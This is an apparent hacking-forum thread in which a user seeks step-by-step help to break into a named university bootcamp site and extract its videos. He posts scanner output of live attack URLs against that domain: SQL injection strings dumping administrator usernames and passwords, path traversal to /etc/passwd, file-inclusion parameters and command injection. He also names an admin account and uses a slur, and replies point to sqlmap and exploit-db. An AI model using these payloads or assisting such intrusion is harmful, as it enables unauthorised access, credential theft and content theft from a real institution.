

Forum:[Hack Forums](#)

Thread: [How can I sql injection university.bootcamp.ro ? Read this!](#)

Instinct777 - December 5, 2018, 6:43 am

Ive scanned bootcamp.ro/university/forum with my soft joomla security scanner and its display me these links bellow:

Also, ive scanned the link with <https://hackertarget.com/joomla-security-scan/>. The hosting is on the Germany server <https://www.hetzner.com/>

<http://bootcamp.ro/university/forum> |
http://bootcamp.ro/university/forum/index.php?option=com_user&view=reset&layout=confirm
<http://bootcamp.ro/university/forum> | <http://bootcamp.ro/university/forum/administrator/>
<http://bootcamp.ro/university/forum> |
http://bootcamp.ro/university/forum/plugins/editors/tinymce/jscripts/tiny_mce/plugins/tinybrowser/
<http://bootcamp.ro/university/forum> |
[http://bootcamp.ro/university/forum/index.php?option=com_content&task=blogcategory&id=60&Itemid=99999+UNION+SELECT+1,concat\(0x1e,username,0x3a,password,0x1e,0x3a,usertype,0x1e\),3,4,5+FROM+jos_users+where+usertype=0x53757065722041646d696e6973747261746f72--](http://bootcamp.ro/university/forum/index.php?option=com_content&task=blogcategory&id=60&Itemid=99999+UNION+SELECT+1,concat(0x1e,username,0x3a,password,0x1e,0x3a,usertype,0x1e),3,4,5+FROM+jos_users+where+usertype=0x53757065722041646d696e6973747261746f72--)
<http://bootcamp.ro/university/forum> |
[http://bootcamp.ro/university/forum/components/com_search/index.php?option=com_search&Itemid=1&searchword=%22%3Becho%20md5\(911\)%3B](http://bootcamp.ro/university/forum/components/com_search/index.php?option=com_search&Itemid=1&searchword=%22%3Becho%20md5(911)%3B)
<http://bootcamp.ro/university/forum> |
[http://bootcamp.ro/university/forum/index.php?option=com_mailto&tmpl=mailto&article=550513+and+1=2+union+select+concat\(username,char\(58\),password\)+from+jos_users+where+usertype=0x53757065722041646d696e6973747261746f72--&Itemid=1](http://bootcamp.ro/university/forum/index.php?option=com_mailto&tmpl=mailto&article=550513+and+1=2+union+select+concat(username,char(58),password)+from+jos_users+where+usertype=0x53757065722041646d696e6973747261746f72--&Itemid=1)
<http://bootcamp.ro/university/forum> |
http://bootcamp.ro/university/forum/index.php?option=com_content&view=%'+a='a&id=25&Itemid=28
<http://bootcamp.ro/university/forum> |
http://bootcamp.ro/university/forum/index.php?option=com_content&view=archive
<http://bootcamp.ro/university/forum> |
http://bootcamp.ro/university/forum/index.php?option=com_poll&task=results&id=14&mosmsg=DOS@HERE<>AAA<><>
<http://bootcamp.ro/university/forum> |
http://bootcamp.ro/university/forum/index.php?option=com_banners&task=archivesection&id=0'+and+1='=2
<http://bootcamp.ro/university/forum> |
http://bootcamp.ro/university/forum/components/com_artlinks/artlinks.dispnew.php?mosConfig_absolute_path=
<http://bootcamp.ro/university/forum> |
http://bootcamp.ro/university/forum/components/com_bayesiannaivefilter/lang.php?mosConfig_absolute_path=
<http://bootcamp.ro/university/forum> |
[http://bootcamp.ro/university/forum/index.php?option=com_resman&task=moreinfo&id=-1+UNION+SELECT+111,concat\(0x1e,username,0x3a,password,0x1e,0x3a,usertype,0x1e\),333+FROM+jos_users+where+usertype=0x53757065722041646d696e6973747261746f72--](http://bootcamp.ro/university/forum/index.php?option=com_resman&task=moreinfo&id=-1+UNION+SELECT+111,concat(0x1e,username,0x3a,password,0x1e,0x3a,usertype,0x1e),333+FROM+jos_users+where+usertype=0x53757065722041646d696e6973747261746f72--)
<http://bootcamp.ro/university/forum> |

http://bootcamp.ro/university/forum/components/com_colophon/admin.colophon.php?mosConfig_absolute_path=

<http://bootcamp.ro/university/forum> |
http://bootcamp.ro/university/forum/index.php?option=com_rokdownloads&controller=../../../../../../../../../../../../etc/passwd%00
<http://bootcamp.ro/university/forum> |
http://bootcamp.ro/university/forum/components/com_moofaq/includes/file_includer.php?gzip=0&file=
<http://bootcamp.ro/university/forum> |
http://bootcamp.ro/university/forum/index.php?option=com_g2bridge&controller=../etc/passwd%00
<http://bootcamp.ro/university/forum> |
http://bootcamp.ro/university/forum/index.php?option=com_news_portal&controller=../etc/passwd
<http://bootcamp.ro/university/forum> |
http://bootcamp.ro/university/forum/index.php?option=com_mediqna&controller=../etc/passwd%00

W3 S33 4LL - December 6, 2018, 11:27 am
romanian site lulz

its also a wp site

jammy47 - December 6, 2018, 11:49 am
sqlmap, sqlninja may be? try to find the wp version and search exploit-db for exploits.

Instinct777 - December 7, 2018, 4:29 am
I look for a real solutions on this.

Like baby steps. Do this, then this, then after do this this this to gain access!

I said for many times in my lastest posts what I know the username on wp-admin. Username is Catalin, password is . . .

We are on the hack forum so to hack Planet it totally LEGAL, if you want to won some \$\$\$\$\$\$ in ur account.

If you are a scarry looser, talk blablabla with me and you just you lose time like a faggot.

If I gain acces on wp-admin I have acces on the university FORUM to extract the videos and all content from there?

I will delegate this task to you. That you are more skillful.

0xB9 - December 7, 2018, 11:38 am
(Dec 6, 2018 12:49 PM)jammy47 Wrote: [\[CITE\]](#) sqlmap, sqlninja may be? try to find the wp version and search exploit-db for exploits.

Using an exploit found in WP itself against a live site is extremely unlikely, 99% of the time WP sites are exploited by a vulnerable plugin rather than the CMS itself. But judging on OP's posts, I doubt he will make it this far...

CyberStrike - December 7, 2018, 3:04 pm

Looks like some fuzzing already happened including some SQL injections on parameters.. I guess the real thing is that there is more than just SQLi than that was fuzzed for. Not sure if it was successful, then again OP you will want to have an understanding of the vulnerabilities possibly in play. I am guessing that your lawsuit went poorly.